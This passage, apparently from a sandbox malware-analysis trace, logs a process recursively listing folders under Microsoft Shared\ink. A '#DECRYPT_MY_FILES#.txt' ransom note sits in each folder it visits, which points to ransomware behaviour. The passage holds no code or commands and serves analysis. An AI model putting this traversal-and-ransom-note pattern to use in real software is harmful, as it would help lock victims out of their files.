dwReserved1=0x180, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0033.932] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x40, dwReserved1=0x180, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0033.932] FindClose (in: hFindFile=0x825910 | out: hFindFile=0x825910) returned 1 [0033.932] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x180, cFileName="es-ES", cAlternateFileName="")) returned 1 [0033.932] AreFileApisANSI () returned 1 [0033.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.933] GetFileType (hFile=0xc4) returned 0x1 [0033.933] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb73650e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73650e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0033.934] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb73650e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73650e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="..", cAlternateFileName="")) returned 1 [0033.934] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb73650e0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb73650e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73650e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.934] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0033.934] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0033.934] FindClose (in: hFindFile=0x825910 | out: hFindFile=0x825910) returned 1 [0033.934] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x180, cFileName="et-EE", cAlternateFileName="")) returned 1 [0033.934] AreFileApisANSI () returned 1 [0033.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.936] GetFileType (hFile=0xc4) returned 0x1 [0033.937] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb73650e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73650e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0033.937] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb73650e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73650e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="..", cAlternateFileName="")) returned 1 [0033.937] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb73650e0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb73650e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73650e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.937] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0033.937] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0033.937] FindClose (in: hFindFile=0x825910 | out: hFindFile=0x825910) returned 1 [0033.937] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x180, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0033.937] AreFileApisANSI () returned 1 [0033.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.937] GetFileType (hFile=0xc4) returned 0x1 [0033.938] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb73650e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73650e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0033.939] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb73650e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73650e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="..", cAlternateFileName="")) returned 1 [0033.939] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb73650e0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb73650e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73650e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.939] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0033.939] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0033.939] FindClose (in: hFindFile=0x825910 | out: hFindFile=0x825910) returned 1 [0033.939] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x40, dwReserved1=0x180, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0033.939] AreFileApisANSI () returned 1 [0033.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0033.939] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x40, dwReserved1=0x180, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0033.939] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x180, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0033.939] AreFileApisANSI () returned 1 [0033.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.940] GetFileType (hFile=0xc4) returned 0x1 [0033.941] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb73650e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73650e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0033.941] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb73650e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73650e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="..", cAlternateFileName="")) returned 1 [0033.942] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb73650e0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb73650e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73650e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.942] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0033.942] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0033.942] FindClose (in: hFindFile=0x825910 | out: hFindFile=0x825910) returned 1 [0033.942] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x180, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0033.942] AreFileApisANSI () returned 1 [0033.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0033.945] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb738b240, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb738b240, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0033.945] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb738b240, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb738b240, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="..", cAlternateFileName="")) returned 1 [0033.945] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb738b240, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb738b240, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb738b240, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2f9, dwReserved1=0x42ba70, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.945] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="auxpad", cAlternateFileName="")) returned 1 [0033.945] AreFileApisANSI () returned 1 [0033.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 96 [0033.946] GetFileType (hFile=0x13c) returned 0x1 [0033.947] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb738b240, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb738b240, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0033.948] FindNextFileA (in: hFindFile=0x825950, lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb738b240, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb738b240, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42b108, cFileName="..", cAlternateFileName="")) returned 1 [0033.948] FindNextFileA (in: hFindFile=0x825950, lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb738b240, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb738b240, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb738b240, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4f8, dwReserved1=0x42b108, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.948] FindNextFileA (in: hFindFile=0x825950, lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x80d910, dwReserved1=0x42b1a8, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0033.948] AreFileApisANSI () returned 1 [0033.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42b860, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0033.949] FindNextFileA (in: hFindFile=0x825950, lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x80d910, dwReserved1=0x42b1a8, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0033.949] FindClose (in: hFindFile=0x825950 | out: hFindFile=0x825950) returned 1 [0033.949] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x80d910, dwReserved1=0x42bb10, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0033.949] AreFileApisANSI () returned 1 [0033.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42c1c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0033.949] FindNextFileA (in: hFindFile=0x825910, lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x180, cFileName="keypad", cAlternateFileName="")) returned 1 [0033.949] AreFileApisANSI () returned 1 [0033.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 96 [0033.950] GetFileType (hFile=0x13c) returned 0x1 [0033.951] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb738b240, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb738b240, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0033.951] FindNextFileA (in: hFindFile=0x825950, lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb738b240, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb738b240, 